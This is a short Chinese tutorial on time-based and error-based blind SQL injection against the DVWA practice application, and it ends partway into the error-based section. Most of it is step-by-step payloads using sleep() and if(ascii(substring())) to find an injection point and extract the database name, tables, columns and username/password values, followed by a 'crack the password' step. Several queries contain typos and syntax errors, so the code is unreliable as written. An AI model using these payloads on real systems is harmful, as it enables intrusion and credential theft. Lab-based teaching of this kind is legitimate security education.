基于时间的盲注和基于报错的盲注

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。

基于时间的盲注：

时间的概念：使用特定函数让数据库去执行，在页面等待一定时间，来查看的的当前页面中注入

函数sleep（）

Select * from dvwa.users where user_id=1 and if(length(user())=14,sleep(5),’bye’);

最终没有返回值，需要关注的是浏览器响应的时间

函数benchmark（参数一，参数二），一边师执行多少次，二是某项操作。

1、找注入点

通过输入以下两行,根据返回的延迟判断存在字符型注入

1 and sleep(5)#

1' and sleep(5)#

2、获取信息

当前数据库长度

Select * from dvwa.users where user_id=1 and if(length(database())=4,sleep(5),’bye’);

获取每个字符

Select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),’bye’);

获取数据库中表

Select * from dvwa.users where user_id=1 and if(ascii(mid((select distinc table_name from information_schema.colums where table_schema=database() limit 0,1)1,1))=102,sleep(5),’bye’);

猜解第一个表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9,sleep(5),1)#

猜解第二个表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#

找有价值的表，users

4、获取指定表中的字段

Select * from dvwa.users where user_id=1 and if(ascii(mid((select distinc columns_name from information_schema.colums where table_schema=database() and table_name=’users’limit 0,1)1,1))=102,sleep(5),’bye’);

找有意义的字段username password

5、获取内容

Select * from dvwa.users where user_id=1 and if(ascii(mid((select concat(admin,0x7e,password)from users limit 0,1)1,1))=102,sleep(5),’bye’);

6、破解密码

基于报错的盲注

主要是依赖于几个报错函数

1、floor()

Floor()函数返回小鱼等于该值的最大整数，向下舍入为指定小数位数